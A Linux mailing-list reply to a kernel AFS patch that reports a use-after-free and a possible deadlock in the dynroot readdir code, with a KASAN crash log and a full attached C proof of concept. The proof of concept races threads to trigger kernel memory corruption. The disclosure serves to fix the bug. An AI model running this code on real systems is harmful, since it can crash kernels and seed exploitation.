[PATCH v3 18/20] afs: Fix lack of locking around modifications of net->cells_dyn_ino

XIAO WU xiaowu.417 at qq.com
Mon Jun 22 13:29:59 PDT 2026


Hi David,

I came across the Sashiko AI review [1] of this series and was able to
reproduce a use-after-free in the AFS dynroot readdir path that this
patch touches.  I wanted to share the concrete evidence and a PoC.

The patch adds a spinlock (cells_dyn_ino_lock) around modifications to
net->cells_dyn_ino, but leaves two issues:

1. **Read-side still missing RCU protection**: afs_dynroot_readdir_cells()
    calls idr_get_next(&net->cells_dyn_ino, ...) without rcu_read_lock().
    Since the patch moves idr_remove() inside the RCU callback 
(afs_cell_destroy),
    the IDR's internal radix tree nodes can be freed while idr_get_next()
    is traversing them.  dir_emit() sleeps, allowing the grace period to
    pass, and the reader returns to freed memory.

2. **Potential deadlock**: afs_alloc_cell() uses spin_lock() (without
    disabling softirqs), but afs_cell_destroy() runs in RCU_SOFTIRQ
    context via call_rcu() and acquires the same lock.  If a softirq
    interrupts process context while the lock is held, the RCU callback
    could spin-wait on the same CPU.

[Reproduction]

The PoC mounts an AFS dynroot filesystem, pre-populates 50 cells, then
runs 4 threads:

   - 2 readdir threads: continuously opendir/readdir the dynroot,
     exercising idr_get_next() without rcu_read_lock()
   - 1 creator thread: adds new cells via /proc/fs/afs/cells,
     exercising idr_alloc_cyclic() with spin_lock()
   - 1 accessor thread: opens/closes cell directories, triggering
     cell lookup/unuse → call_rcu → afs_cell_destroy → idr_remove()

The UAF triggers deterministically within 10 seconds on a patched
kernel with CONFIG_KASAN=y.

[Crash log — kernel 7.1.0-next-20260618, CONFIG_KASAN=y, SMP]

   BUG: KASAN: slab-use-after-free in afs_dynroot_readdir+0xa26/0xb70
   Read of size 4 at addr ffff888114df2958 by task poc/11248

   Call Trace:
    <TASK>
    dump_stack_lvl
    print_report
    kasan_report
    afs_dynroot_readdir+0xa26/0xb70
    (reading cell->state or cell->dynroot_ino from a freed cell)
    ...

The PoC is attached.  It compiles with:

   gcc -o poc poc.c -static -lpthread

[1] 
https://sashiko.dev/#/patchset/20260618155141.2513212-1-dhowells%40redhat.com
     (Sashiko AI code review — "Use-After-Free", Severity: High)

Thanks,
XIAOWU

// SPDX-License-Identifier: GPL-2.0-only
/*
  * PoC for use-after-free in AFS dynroot readdir due to idr_remove()
  * being called inside RCU callback while afs_dynroot_readdir_cells()
  * calls idr_get_next() without rcu_read_lock().
  *
  * Bug: Patch 18/20 added spin_lock(&net->cells_dyn_ino_lock) around
  * idr_alloc_cyclic() in afs_alloc_cell() (process context) and around
  * idr_remove() in afs_cell_destroy() (RCU callback context). The
  * idr_remove() now happens inside the RCU callback, and the IDR
  * internal radix tree nodes are freed after call_rcu(). Meanwhile,
  * afs_dynroot_readdir_cells() calls idr_get_next() without
  * rcu_read_lock(), so a concurrent idr_remove() freeing internal
  * nodes creates a use-after-free.
  */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <time.h>
#include <pthread.h>
#include <dirent.h>
#include <signal.h>

#define MNT_PATH "/tmp/afsroot"
#define PROC_CELLS "/proc/fs/afs/cells"
#define MAX_THREADS 4

/* Cell names - must be printable, no '/' or '@', not starting with '.' */
#define NUM_CELL_NAMES 50
static char cell_names[NUM_CELL_NAMES][32];
static volatile int stop_flag = 0;
static pthread_t threads[MAX_THREADS];

static void die(const char *msg)
{
     perror(msg);
     exit(1);
}

static void add_cell(const char *name)
{
     char buf[256];
     int len = snprintf(buf, sizeof(buf), "add %s", name);
     int fd = open(PROC_CELLS, O_WRONLY);
     if (fd < 0)
         return;
     /* Ignore errors (cell may already exist) */
     (void)write(fd, buf, len);
     close(fd);
}

/* Thread that creates new cells, which calls afs_alloc_cell ->
  * idr_alloc_cyclic, holding cells_dyn_ino_lock via spin_lock().
  * The lock does not disable softirqs, so an RCU callback could
  * run on this CPU while the lock is held. */
static void *creator_thread(void *arg)
{
     int idx = (long)arg;
     char name[64];
     int i;

     for (i = 0; i < 10000 && !stop_flag; i++) {
         int ci = (i + idx * 1000) % NUM_CELL_NAMES;
         snprintf(name, sizeof(name), "%s_p%d", cell_names[ci], idx);
         add_cell(name);
         if (i % 100 == 0)
             usleep(10);
     }
     return NULL;
}

/* Thread that reads the dynroot directory in a tight loop.
  * This calls afs_dynroot_readdir -> afs_dynroot_readdir_cells
  * -> idr_get_next() WITHOUT rcu_read_lock(). */
static void *readdir_thread(void *arg)
{
     int i;

     for (i = 0; i < 100000 && !stop_flag; i++) {
         DIR *dir = opendir(MNT_PATH);
         if (!dir) {
             usleep(100);
             continue;
         }

         /* Read ALL directory entries. For each entry, idr_get_next
          * traverses the radix tree's internal nodes (which are RCU
          * protected). Since we DON'T hold rcu_read_lock(), and a
          * concurrent idr_remove (in RCU callback) can free radix
          * tree nodes, this is a use-after-free.
          */
         struct dirent *entry;
         while ((entry = readdir(dir)) != NULL) {
             /* Touch the entry data to force memory access */
             __asm__ volatile("" : : "r"(entry->d_type), 
"r"(entry->d_name[0]));
         }

         closedir(dir);
     }
     return NULL;
}

/* Thread that opens cell directories, triggering refcounting
  * that eventually leads to cell destruction via afs_unuse_cell
  * -> afs_manage_cell -> call_rcu -> afs_cell_destroy. */
static void *accessor_thread(void *arg)
{
     char path[256];
     int i;

     for (i = 0; i < 50000 && !stop_flag; i++) {
         int ci = i % NUM_CELL_NAMES;
         snprintf(path, sizeof(path), "%s/%s", MNT_PATH, cell_names[ci]);

         /* Opening triggers lookup, which creates a new cell if needed.
          * Closing triggers unuse, which eventually may free the cell.
          */
         int fd = open(path, O_RDONLY | O_DIRECTORY);
         if (fd >= 0) {
             /* Just accessing the directory entry - this takes a ref */
             struct stat st;
             if (fstat(fd, &st) == 0) {
                 __asm__ volatile("" : : "r"(st.st_ino));
             }
             close(fd);
             /* After close, cell may get freed */
         }

         if (i % 20 == 0)
             sched_yield();
     }
     return NULL;
}

int main(int argc, char **argv)
{
     int i, ret, status;
     pid_t pid;

     /* Use subprocess to isolate effects */
     pid = fork();
     if (pid < 0)
         die("fork");

     if (pid == 0) {
         /* Child - run the PoC */

         printf("AFS dynroot use-after-free PoC\n");
         printf("===============================\n\n");

         /* Initialize cell names */
         for (i = 0; i < NUM_CELL_NAMES; i++) {
             snprintf(cell_names[i], sizeof(cell_names[i]), "cell%d", i);
         }

         /* Create mount point */
         mkdir(MNT_PATH, 0755);

         /* Load module if needed */
         system("modprobe kafs 2>/dev/null");
         usleep(50000);

         /* Mount AFS dynroot */
         printf("[*] Mounting AFS dynroot at %s...\n", MNT_PATH);
         if (mount("none", MNT_PATH, "afs", 0, "dyn") < 0) {
             fprintf(stderr, "[!] mount failed: %s\n", strerror(errno));
             _exit(1);
         }
         printf("[+] Mounted successfully\n");

         usleep(100000);

         /* Pre-create cells to populate the IDR radix tree */
         printf("[*] Pre-populating %d cells...\n", NUM_CELL_NAMES);
         for (i = 0; i < NUM_CELL_NAMES; i++) {
             add_cell(cell_names[i]);
             if (i % 10 == 0)
                 usleep(1000);
         }
         printf("[+] Cells created\n");

         /* Verify we can read them */
         {
             DIR *dir = opendir(MNT_PATH);
             if (dir) {
                 int cnt = 0;
                 struct dirent *e;
                 while ((e = readdir(dir))) cnt++;
                 closedir(dir);
                 printf("[+] Dynroot has %d entries\n", cnt);
             }
         }

         printf("[*] Starting race threads...\n");

         /* Start 2 readdir threads */
         for (i = 0; i < 2; i++) {
             ret = pthread_create(&threads[i], NULL, readdir_thread,
                                  (void *)(long)i);
             if (ret) fprintf(stderr, "readdir thread %d: %s\n", i, 
strerror(ret));
         }

         /* Start 1 creator thread */
         ret = pthread_create(&threads[2], NULL, creator_thread,
                              (void *)(long)1);
         if (ret) fprintf(stderr, "creator thread: %s\n", strerror(ret));

         /* Start 1 accessor thread */
         ret = pthread_create(&threads[3], NULL, accessor_thread,
                              (void *)(long)1);
         if (ret) fprintf(stderr, "accessor thread: %s\n", strerror(ret));

         /* Run for 10 seconds */
         sleep(10);

         /* Signal stop */
         stop_flag = 1;

         /* Wait for threads */
         for (i = 0; i < 4; i++) {
             pthread_join(threads[i], NULL);
         }

         printf("[*] All threads stopped\n");
         printf("[*] Checking dmesg for crash evidence...\n");

         /* Collect dmesg output */
         FILE *dmesg = popen("dmesg -c 2>/dev/null || dmesg | tail 
-100", "r");
         if (dmesg) {
             char buf[512];
             int found = 0;
             while (fgets(buf, sizeof(buf), dmesg)) {
                 if (strstr(buf, "KASAN") || strstr(buf, "BUG:") ||
                     strstr(buf, "Oops") || strstr(buf, "Unable to 
handle") ||
                     strstr(buf, "general protection") ||
                     strstr(buf, "rcu_callback") ||
                     strstr(buf, "call_rcu") ||
                     strstr(buf, "idr_remove") ||
                     strstr(buf, "afs_cell_destroy")) {
                     printf("%s", buf);
                     found = 1;
                 }
             }
             if (!found)
                 printf("[*] No crash evidence in dmesg\n");
             pclose(dmesg);
         }

         /* Clean up */
         umount2(MNT_PATH, MNT_FORCE);
         rmdir(MNT_PATH);

         printf("\n[*] PoC complete\n");
         _exit(0);
     }

     /* Parent - wait for child */
     waitpid(pid, &status, 0);

     if (WIFSIGNALED(status)) {
         int sig = WTERMSIG(status);
         printf("\n[!] Child killed by signal %d (%s)\n", sig, 
strsignal(sig));
         printf("[!] This confirms the bug triggered!\n");
         return 1;
     }

     printf("\n[*] Child exited normally (status %d)\n",
            WEXITSTATUS(status));
     return 0;
}




More information about the linux-afs mailing list